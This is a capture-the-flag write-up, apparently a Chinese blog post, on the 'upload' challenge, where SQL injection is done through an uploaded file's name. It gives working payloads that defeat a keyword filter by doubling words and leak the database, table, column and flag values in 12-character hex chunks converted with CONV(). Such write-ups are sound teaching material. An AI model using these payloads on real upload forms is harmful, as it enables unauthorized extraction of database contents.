攻防世界——upload 文件名也可以sql注入?

0x01

打开后直接文件上传,png的发现不行改成jpg的,发现上传成功。
在这里插入图片描述然后回显:
在这里插入图片描述
没出现路径,找了半天也没找到,看了wp才知道居然要利用文件名注入。过滤了select from 用双写即可绕过。
问了下学长说是:因为回显的只是文件名,然后它存入数据库的也可能是文件名,既然连接了数据库就可能存在注入漏洞。然后就能想到可能是文件名sql注入。
意思就是我们将substr(hex(dAtaBase()) 的结果从16进制转化为10进制
sselectelect database() => 0

selecselectt substr(dAtabase(),1,12) => 0

selecselectt substr(hex(dAtabase()),1,12) => 7765625 这里正常应该显示7765625f7570才对,可能是题目的设置,出现字母以后后面内容就会被截断

所以才用到了CONV,将16进制转化为10进制

上网查CONV函数:
在这里插入图片描述

注入语句如下:

sql’+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+’.jpg => 131277325825392 => web_up (这里将10进制再转化为16进制进行hex解码就出来了)

sql’+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+’.jpg => 1819238756 => load
拼接以后 web_upload
表:
sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),1,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),13,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),25,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),37,12),16,10))+’.jpg

拼接以后为 files,hello_flag_is_here

列:

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=‘hello_flag_is_here’)),1,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=‘hello_flag_is_here’)),13,12),16,10))+’.jpg

拼接以后为 i_am_flag

字段:

sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+’.jpg

拼接以后为 !!_@m_Th.e_F!lag

发布了14 篇原创文章 · 获赞 6 · 访问量 2440

猜你喜欢

转载自blog.csdn.net/qq_43409582/article/details/90784223